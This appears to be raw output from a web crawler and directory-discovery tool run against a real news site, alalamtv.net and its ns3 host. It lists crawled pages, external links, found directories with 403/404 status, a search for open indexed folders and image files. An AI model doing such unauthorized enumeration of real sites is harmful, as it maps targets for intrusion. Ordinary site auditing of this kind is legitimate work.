3813 - http://www.alalamtv.net/rss/47
3814 - http://www.alalamtv.net/rss/51
3815 - http://www.alalamtv.net/rss/59
3816 - http://www.alalamtv.net/rss/africa
3817 - http://www.alalamtv.net/rss/america
3818 - http://www.alalamtv.net/rss/articles
3819 - http://www.alalamtv.net/rss/asia
3820 - http://www.alalamtv.net/rss/bahrain
3821 - http://www.alalamtv.net/rss/crawl
3822 - http://www.alalamtv.net/rss/egypt
3823 - http://www.alalamtv.net/rss/europe
3824 - http://www.alalamtv.net/rss/important_news
3825 - http://www.alalamtv.net/rss/iran
3826 - http://www.alalamtv.net/rss/iraq
3827 - http://www.alalamtv.net/rss/jordan
3828 - http://www.alalamtv.net/rss/latest
3829 - http://www.alalamtv.net/rss/latest-video
3830 - http://www.alalamtv.net/rss/lebanon
3831 - http://www.alalamtv.net/rss/libia
3832 - http://www.alalamtv.net/rss/morocco
3833 - http://www.alalamtv.net/rss/palestine
3834 - http://www.alalamtv.net/rss/saudia
3835 - http://www.alalamtv.net/rss/syria
3836 - http://www.alalamtv.net/rss/tunisia
3837 - http://www.alalamtv.net/rss/turkey
3838 - http://www.alalamtv.net/rss/urgent
3839 - http://www.alalamtv.net/rss/videos
3840 - http://www.alalamtv.net/rss/yemen
3841 - http://www.facebook.com/alalamarabic
3842 - http://youtube.com/c/AlalamNewsChannel
3843 - https://certify.alexametrics.com/atrk.gif?account=4vvKs1DlQy20Y8
3844 - https://plus.google.com/+alalam
3845 - https://t.me/alalamarabic
3846 - https://twitter.com/alalamarabic
3847 - https://www.alalamtv.net/graphic
3848 - https://www.alalamtv.net/kashkol
3849 - https://www.alalamtv.net/marawaykom
3850 - https://www.alalamtv.net/newscommentary
3851 - https://www.alalamtv.net/reports
3852 - https://www.alalamtv.net/todaysissue
3853 - https://www.alalamtv.net/yoghal
3854 - https://www.gstatic.com/firebasejs/5.10.1/firebase-app.js
3855 - https://www.gstatic.com/firebasejs/5.10.1/firebase-messaging.js
3856 - https://www.instagram.com/alalamarabic/
3857 - https://www.youtube.com/c/AlalamNewsChannel
3858 Total external links: 114
3859
3860+ Email addresses found:
3861 Total email address found: 0
3862
3863+ Directories found:
3864 - http://www.alalamtv.net./media.alalamtv.net/ (404 Not Found)
3865 - http://www.alalamtv.net./media.alalamtv.net/uploads/ (404 Not Found)
3866 - http://www.alalamtv.net./media.alalamtv.net/uploads/290x185/ (404 Not Found)
3867 - http://www.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/ (404 Not Found)
3868 - http://www.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/05/ (404 Not Found)
3869 - http://www.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/05/22/ (404 Not Found)
3870 - http://www.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/10/ (404 Not Found)
3871 - http://www.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/10/06/ (404 Not Found)
3872 - http://www.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/10/20/ (404 Not Found)
3873 - http://www.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/10/30/ (404 Not Found)
3874 - http://www.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/10/31/ (404 Not Found)
3875 - http://www.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/ (404 Not Found)
3876 - http://www.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/01/ (404 Not Found)
3877 - http://www.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/02/ (404 Not Found)
3878 - http://www.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/03/ (404 Not Found)
3879 - http://www.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/04/ (404 Not Found)
3880 - http://www.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/05/ (404 Not Found)
3881 - http://www.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/07/ (404 Not Found)
3882 - http://www.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/08/ (404 Not Found)
3883 - http://www.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/09/ (404 Not Found)
3884 - http://www.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/10/ (404 Not Found)
3885 - http://www.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/11/ (404 Not Found)
3886 - http://www.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/12/ (404 Not Found)
3887 - http://www.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/13/ (404 Not Found)
3888 - http://www.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/14/ (404 Not Found)
3889 - http://www.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/15/ (404 Not Found)
3890 - http://www.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/16/ (404 Not Found)
3891 - http://www.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/17/ (404 Not Found)
3892 - http://www.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/18/ (404 Not Found)
3893 - http://www.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/19/ (404 Not Found)
3894 - http://www.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/20/ (404 Not Found)
3895 - http://www.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/21/ (404 Not Found)
3896 - http://www.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/22/ (404 Not Found)
3897 - http://www.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/23/ (404 Not Found)
3898 - http://www.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/24/ (404 Not Found)
3899 - http://www.alalamtv.net./media.alalamtv.net/uploads/290x185/2019/11/25/ (404 Not Found)
3900 - http://www.alalamtv.net./media.alalamtv.net/uploads/425x245/ (404 Not Found)
3901 - http://www.alalamtv.net./media.alalamtv.net/uploads/425x245/2019/ (404 Not Found)
3902 - http://www.alalamtv.net./media.alalamtv.net/uploads/425x245/2019/09/ (404 Not Found)
3903 - http://www.alalamtv.net./media.alalamtv.net/uploads/425x245/2019/09/07/ (404 Not Found)
3904 - http://www.alalamtv.net./media.alalamtv.net/uploads/425x245/2019/11/ (404 Not Found)
3905 - http://www.alalamtv.net./media.alalamtv.net/uploads/425x245/2019/11/07/ (404 Not Found)
3906 - http://www.alalamtv.net./media.alalamtv.net/uploads/425x245/2019/11/08/ (404 Not Found)
3907 - http://www.alalamtv.net./media.alalamtv.net/uploads/425x245/2019/11/23/ (404 Not Found)
3908 - http://www.alalamtv.net./media.alalamtv.net/uploads/425x245/2019/11/24/ (404 Not Found)
3909 - http://www.alalamtv.net./media.alalamtv.net/uploads/ads/ (404 Not Found)
3910 - http://www.alalamtv.net./platform-api.sharethis.com/ (404 Not Found)
3911 - http://www.alalamtv.net./platform-api.sharethis.com/js/ (404 Not Found)
3912 - http://www.alalamtv.net./sites/ (403 Forbidden)
3913 - http://www.alalamtv.net./sites/2/ (403 Forbidden)
3914 - http://www.alalamtv.net./sites/2/style/ (403 Forbidden)
3915 - http://www.alalamtv.net./sites/2/style/css/ (403 Forbidden)
3916 - http://www.alalamtv.net./sites/2/style/css/bootstrap-4.0.0-beta-dist/ (403 Forbidden)
3917 - http://www.alalamtv.net./sites/2/style/css/bootstrap-4.0.0-beta-dist/css/ (403 Forbidden)
3918 - http://www.alalamtv.net./sites/2/style/image/ (403 Forbidden)
3919 - http://www.alalamtv.net./sites/2/style/js/ (403 Forbidden)
3920 - http://www.alalamtv.net./style/ (403 Forbidden)
3921 - http://www.alalamtv.net./style/js/ (403 Forbidden)
3922 - http://www.alalamtv.net./widget/ (403 Forbidden)
3923 - http://www.alalamtv.net./widget/notification/ (403 Forbidden)
3924 Total directories: 60
3925
3926+ Directory indexing found:
3927 Total directories with indexing: 0
3928
3929----------------------------------------------------------------------
3930
3931
3932 + URL to crawl: http://ns3.alalamtv.net
3933 + Date: 2019-11-24
3934
3935 + Crawling URL: http://ns3.alalamtv.net:
3936 + Links:
3937 + Crawling http://ns3.alalamtv.net
3938 + Crawling http://ns3.alalamtv.net/rss
3939 + Crawling http://ns3.alalamtv.net/sites/2/style/css/style2.css?v=128 (File! Not crawling it.)
3940 + Crawling http://ns3.alalamtv.net/sites/2/style/js/custom3.js?v=128 (File! Not crawling it.)
3941 + Crawling http://ns3.alalamtv.net/allnews
3942 + Crawling http://ns3.alalamtv.net/islamic-world
3943 + Crawling http://ns3.alalamtv.net/iran
3944 + Crawling http://ns3.alalamtv.net/world
3945 + Crawling http://ns3.alalamtv.net/videos
3946 + Crawling http://ns3.alalamtv.net/reports
3947 + Crawling http://ns3.alalamtv.net/graphic
3948 + Crawling http://ns3.alalamtv.net/programs
3949 + Crawling http://ns3.alalamtv.net/qatar
3950 + Crawling http://ns3.alalamtv.net/saudia
3951 + Crawling http://ns3.alalamtv.net/syria
3952 + Crawling http://ns3.alalamtv.net/yemen
3953 + Crawling http://ns3.alalamtv.net/bahrain
3954 + Crawling http://ns3.alalamtv.net/iraq
3955 + Crawling http://ns3.alalamtv.net/egypt
3956 + Crawling http://ns3.alalamtv.net/palestine
3957 + Crawling http://ns3.alalamtv.net/morocco
3958 + Crawling http://ns3.alalamtv.net/libia
3959 + Crawling http://ns3.alalamtv.net/lebanon
3960 + Crawling http://ns3.alalamtv.net/turkey
3961 + Crawling http://ns3.alalamtv.net/jordan
3962 + Crawling http://ns3.alalamtv.net/tunisia
3963 + Crawling http://ns3.alalamtv.net/Algeria
3964 + Crawling http://ns3.alalamtv.net/Sudan
3965 + Crawling http://ns3.alalamtv.net/emarat
3966 + Crawling http://ns3.alalamtv.net/oman
3967 + Crawling http://ns3.alalamtv.net/afghanistan
3968 + Crawling http://ns3.alalamtv.net/pakistan
3969 + Crawling http://ns3.alalamtv.net/East-Asia
3970 + Crawling http://ns3.alalamtv.net/Asia-Al-Waste
3971 + Crawling http://ns3.alalamtv.net/Mauritania
3972 + Crawling http://ns3.alalamtv.net/kuwait
3973 + Crawling http://ns3.alalamtv.net/Altogether
3974 + Crawling http://ns3.alalamtv.net/iran-politics
3975 + Crawling http://ns3.alalamtv.net/iran-economic
3976 + Crawling http://ns3.alalamtv.net/cultural
3977 + Crawling http://ns3.alalamtv.net/iran-tech
3978 + Crawling http://ns3.alalamtv.net/iran-defense
3979 + Crawling http://ns3.alalamtv.net/asia
3980 + Crawling http://ns3.alalamtv.net/europe
3981 + Crawling http://ns3.alalamtv.net/africa
3982 + Crawling http://ns3.alalamtv.net/america
3983 + Crawling http://ns3.alalamtv.net/todaysissue
3984 + Crawling http://ns3.alalamtv.net/newscommentary
3985 + Crawling http://ns3.alalamtv.net/marawaykom
3986 + Crawling http://ns3.alalamtv.net/kashkol
3987 + Crawling http://ns3.alalamtv.net/yoghal
3988 + Crawling http://ns3.alalamtv.net/infographic
3989 + Searching for directories...
3990 - Found: http://ns3.alalamtv.net/style/
3991 - Found: http://ns3.alalamtv.net/style/js/
3992 - Found: http://ns3.alalamtv.net/sites/
3993 - Found: http://ns3.alalamtv.net/sites/2/
3994 - Found: http://ns3.alalamtv.net/sites/2/style/
3995 - Found: http://ns3.alalamtv.net/sites/2/style/css/
3996 - Found: http://ns3.alalamtv.net/sites/2/style/css/bootstrap-4.0.0-beta-dist/
3997 - Found: http://ns3.alalamtv.net/sites/2/style/css/bootstrap-4.0.0-beta-dist/css/
3998 - Found: http://ns3.alalamtv.net/sites/2/style/js/
3999 - Found: http://ns3.alalamtv.net/media.alalamtv.net/
4000 - Found: http://ns3.alalamtv.net/media.alalamtv.net/uploads/
4001 - Found: http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/
4002 - Found: http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/
4003 - Found: http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/
4004 - Found: http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/07/
4005 - Found: http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/24/
4006 - Found: http://ns3.alalamtv.net/sites/2/style/image/
4007 - Found: http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/23/
4008 - Found: http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/09/
4009 - Found: http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/09/07/
4010 - Found: http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/08/
4011 - Found: http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/
4012 - Found: http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/
4013 - Found: http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/
4014 - Found: http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/24/
4015 - Found: http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/23/
4016 - Found: http://ns3.alalamtv.net/media.alalamtv.net/uploads/ads/
4017 - Found: http://ns3.alalamtv.net/widget/
4018 - Found: http://ns3.alalamtv.net/widget/notification/
4019 - Found: http://ns3.alalamtv.net/platform-api.sharethis.com/
4020 - Found: http://ns3.alalamtv.net/platform-api.sharethis.com/js/
4021 - Found: http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/25/
4022 - Found: http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/05/
4023 - Found: http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/05/22/
4024 - Found: http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/20/
4025 - Found: http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/19/
4026 - Found: http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/18/
4027 - Found: http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/16/
4028 - Found: http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/15/
4029 - Found: http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/12/
4030 - Found: http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/22/
4031 - Found: http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/10/
4032 - Found: http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/01/
4033 - Found: http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/10/
4034 - Found: http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/10/20/
4035 - Found: http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/10/06/
4036 - Found: http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/21/
4037 - Found: http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/17/
4038 - Found: http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/13/
4039 - Found: http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/07/
4040 - Found: http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/14/
4041 - Found: http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/09/
4042 - Found: http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/08/
4043 - Found: http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/11/
4044 - Found: http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/05/
4045 - Found: http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/04/
4046 - Found: http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/02/
4047 - Found: http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/10/30/
4048 - Found: http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/03/
4049 - Found: http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/10/31/
4050 + Searching open folders...
4051 - http://ns3.alalamtv.net/style/ (403 Forbidden)
4052 - http://ns3.alalamtv.net/style/js/ (403 Forbidden)
4053 - http://ns3.alalamtv.net/sites/ (403 Forbidden)
4054 - http://ns3.alalamtv.net/sites/2/ (403 Forbidden)
4055 - http://ns3.alalamtv.net/sites/2/style/ (403 Forbidden)
4056 - http://ns3.alalamtv.net/sites/2/style/css/ (403 Forbidden)
4057 - http://ns3.alalamtv.net/sites/2/style/css/bootstrap-4.0.0-beta-dist/ (403 Forbidden)
4058 - http://ns3.alalamtv.net/sites/2/style/css/bootstrap-4.0.0-beta-dist/css/ (403 Forbidden)
4059 - http://ns3.alalamtv.net/sites/2/style/js/ (403 Forbidden)
4060 - http://ns3.alalamtv.net/media.alalamtv.net/ (404 Not Found)
4061 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/ (404 Not Found)
4062 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/ (404 Not Found)
4063 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/ (404 Not Found)
4064 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/ (404 Not Found)
4065 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/07/ (404 Not Found)
4066 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/24/ (404 Not Found)
4067 - http://ns3.alalamtv.net/sites/2/style/image/ (403 Forbidden)
4068 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/23/ (404 Not Found)
4069 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/09/ (404 Not Found)
4070 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/09/07/ (404 Not Found)
4071 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/08/ (404 Not Found)
4072 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/ (404 Not Found)
4073 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/ (404 Not Found)
4074 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/ (404 Not Found)
4075 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/24/ (404 Not Found)
4076 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/23/ (404 Not Found)
4077 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/ads/ (404 Not Found)
4078 - http://ns3.alalamtv.net/widget/ (403 Forbidden)
4079 - http://ns3.alalamtv.net/widget/notification/ (403 Forbidden)
4080 - http://ns3.alalamtv.net/platform-api.sharethis.com/ (404 Not Found)
4081 - http://ns3.alalamtv.net/platform-api.sharethis.com/js/ (404 Not Found)
4082 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/25/ (404 Not Found)
4083 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/05/ (404 Not Found)
4084 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/05/22/ (404 Not Found)
4085 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/20/ (404 Not Found)
4086 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/19/ (404 Not Found)
4087 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/18/ (404 Not Found)
4088 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/16/ (404 Not Found)
4089 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/15/ (404 Not Found)
4090 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/12/ (404 Not Found)
4091 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/22/ (404 Not Found)
4092 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/10/ (404 Not Found)
4093 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/01/ (404 Not Found)
4094 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/10/ (404 Not Found)
4095 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/10/20/ (404 Not Found)
4096 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/10/06/ (404 Not Found)
4097 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/21/ (404 Not Found)
4098 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/17/ (404 Not Found)
4099 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/13/ (404 Not Found)
4100 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/07/ (404 Not Found)
4101 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/14/ (404 Not Found)
4102 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/09/ (404 Not Found)
4103 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/08/ (404 Not Found)
4104 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/11/ (404 Not Found)
4105 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/05/ (404 Not Found)
4106 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/04/ (404 Not Found)
4107 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/02/ (404 Not Found)
4108 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/10/30/ (404 Not Found)
4109 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/03/ (404 Not Found)
4110 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/10/31/ (404 Not Found)
4111 + Crawl finished successfully.
4112----------------------------------------------------------------------
4113Summary of http://http://ns3.alalamtv.net
4114----------------------------------------------------------------------
4115+ Links crawled:
4116 - http://ns3.alalamtv.net
4117 - http://ns3.alalamtv.net/Algeria
4118 - http://ns3.alalamtv.net/Altogether
4119 - http://ns3.alalamtv.net/Asia-Al-Waste
4120 - http://ns3.alalamtv.net/East-Asia
4121 - http://ns3.alalamtv.net/Mauritania
4122 - http://ns3.alalamtv.net/Sudan
4123 - http://ns3.alalamtv.net/afghanistan
4124 - http://ns3.alalamtv.net/africa
4125 - http://ns3.alalamtv.net/allnews
4126 - http://ns3.alalamtv.net/america
4127 - http://ns3.alalamtv.net/asia
4128 - http://ns3.alalamtv.net/bahrain
4129 - http://ns3.alalamtv.net/cultural
4130 - http://ns3.alalamtv.net/egypt
4131 - http://ns3.alalamtv.net/emarat
4132 - http://ns3.alalamtv.net/europe
4133 - http://ns3.alalamtv.net/graphic
4134 - http://ns3.alalamtv.net/infographic
4135 - http://ns3.alalamtv.net/iran
4136 - http://ns3.alalamtv.net/iran-defense
4137 - http://ns3.alalamtv.net/iran-economic
4138 - http://ns3.alalamtv.net/iran-politics
4139 - http://ns3.alalamtv.net/iran-tech
4140 - http://ns3.alalamtv.net/iraq
4141 - http://ns3.alalamtv.net/islamic-world
4142 - http://ns3.alalamtv.net/jordan
4143 - http://ns3.alalamtv.net/kashkol
4144 - http://ns3.alalamtv.net/kuwait
4145 - http://ns3.alalamtv.net/lebanon
4146 - http://ns3.alalamtv.net/libia
4147 - http://ns3.alalamtv.net/marawaykom
4148 - http://ns3.alalamtv.net/morocco
4149 - http://ns3.alalamtv.net/newscommentary
4150 - http://ns3.alalamtv.net/oman
4151 - http://ns3.alalamtv.net/pakistan
4152 - http://ns3.alalamtv.net/palestine
4153 - http://ns3.alalamtv.net/programs
4154 - http://ns3.alalamtv.net/qatar
4155 - http://ns3.alalamtv.net/reports
4156 - http://ns3.alalamtv.net/rss
4157 - http://ns3.alalamtv.net/saudia
4158 - http://ns3.alalamtv.net/syria
4159 - http://ns3.alalamtv.net/todaysissue
4160 - http://ns3.alalamtv.net/tunisia
4161 - http://ns3.alalamtv.net/turkey
4162 - http://ns3.alalamtv.net/videos
4163 - http://ns3.alalamtv.net/world
4164 - http://ns3.alalamtv.net/yemen
4165 - http://ns3.alalamtv.net/yoghal
4166 Total links crawled: 50
4167
4168+ Links to files found:
4169 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/05/22/155853880630463600.jpg
4170 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/10/06/157036930096632200.jpg
4171 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/10/20/157154552402504400.jpg
4172 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/10/30/157244595894576100.jpg
4173 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/10/31/157252114102016800.jpg
4174 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/01/157262459393932700.jpg
4175 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/02/157270368073101400.jpg
4176 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/02/157270979593057000.jpg
4177 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/02/157271145450479300.jpg
4178 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/03/157277960988966100.jpg
4179 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/04/157288082951124200.jpg
4180 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/05/157294274406414600.jpg
4181 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/05/157297844498399900.jpg
4182 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/07/157311117521097500.jpg
4183 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/08/157322601292723700.jpg
4184 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/09/157329262240738000.jpg
4185 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/09/157330107769443500.jpg
4186 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/09/157330487384432800.jpg
4187 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/09/157331852456641100.jpg
4188 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/10/157335975538017500.jpg
4189 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/10/157340367600162000.jpg
4190 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/11/157347299201592300.jpg
4191 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/11/157348261343215200.jpg
4192 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/11/157349889427222400.jpg
4193 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/12/157354946185601900.jpg
4194 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/12/157355762847603800.jpg
4195 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/12/157356965458991500.jpg
4196 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/12/157357196174682500.jpg
4197 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/12/157357632735574500.jpg
4198 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/12/157357976022272400.jpg
4199 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/12/157358017456934500.jpg
4200 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/13/157362377831872400.jpg
4201 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/13/157363127841039700.jpg
4202 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/13/157363144192052900.jpg
4203 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/13/157364442859111500.jpg
4204 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/13/157366052689143200.jpg
4205 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/13/157366445239834400.jpg
4206 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/13/157366763396052100.jpg
4207 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/14/157372453470648100.jpg
4208 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/14/157373553746421700.jpg
4209 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/14/157373656842320100.jpg
4210 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/15/157378850713603200.jpg
4211 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/15/157380110762686300.jpg
4212 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/15/157380412272792900.jpg
4213 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/15/157380477340333100.jpg
4214 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/15/157380705426651600.jpg
4215 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/15/157382003998837400.jpg
4216 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/15/157382050549285000.jpg
4217 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/15/157382624706280600.jpg
4218 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/16/157385111094776000.jpg
4219 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/16/157389062168056900.jpg
4220 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/16/157389276728785500.jpg
